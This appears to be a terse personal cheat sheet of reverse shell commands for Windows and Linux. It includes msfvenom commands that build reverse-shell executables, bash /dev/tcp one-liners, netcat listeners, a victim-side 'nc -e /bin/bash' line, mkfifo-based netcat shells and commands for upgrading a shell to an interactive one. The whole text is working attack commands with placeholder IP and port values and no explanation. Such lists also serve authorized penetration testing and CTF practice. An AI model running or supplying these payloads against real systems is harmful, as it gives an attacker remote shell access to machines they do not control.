Windows:
msfvenom --platform Windows -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell1.exe
Linux:
1. Simple bash:
bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"
OR
#!/bin/bash
bash -i >& /dev/tcp/ip/port 0>&1
Netcat listener (remove rlwrap if cannot use): rlwrap nc -nvlp 8007
2. MSFVenom to generate (can change cmd/unix to linux/x64):
msfvenom -l payloads | grep "cmd/unix" | awk '{print $1}'
Use it with: msfvenom -p cmd/xxx LHOST=IP LPORT=yyy Then if want file, add -f elf > shell.elf (Remember chmod +x)
Most common:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell1.elf
3. Simple netcat listener: nc -nvlp 4444
Victim: nc -e /bin/bash IP 4444
4. One liner:
mkfifo /tmp/bzxltd; nc IP PORT 0</tmp/bzxltd | /bin/sh >/tmp/bzxltd 2>&1; rm /tmp/bzxltd
Upgrade Interactive Shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Semi Shell only:
/bin/bash -i
perl -e 'exec "/bin/sh";'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f